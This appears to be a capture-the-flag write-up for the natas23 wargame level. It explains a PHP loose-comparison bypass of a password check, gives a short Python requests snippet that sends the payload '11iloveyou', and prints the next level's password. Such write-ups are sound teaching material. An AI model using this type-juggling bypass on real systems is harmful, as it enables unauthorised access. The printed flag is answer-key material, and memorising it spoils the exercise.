Description

The PHP check is strstr($password, "iloveyou") && $password > 10. PHP’s > performs loose numeric comparison: a string starting with a number greater than 10 followed by “iloveyou” satisfies both conditions.

Overview

• strstr("11iloveyou", "iloveyou") is truthy.
• "11iloveyou" > 10 is true because PHP casts the string to the integer 11.
• Submitting 11iloveyou passes both checks.

Solution

response = requests.get(url, auth=("natas23", current_password), params={"passwd": "11iloveyou"})
result = re.search(r"The password for natas24 is (.*)", response.text).group(1).strip()

Password

0xzF30T9Av8lgXhW7slhFCIsVKAPyl2r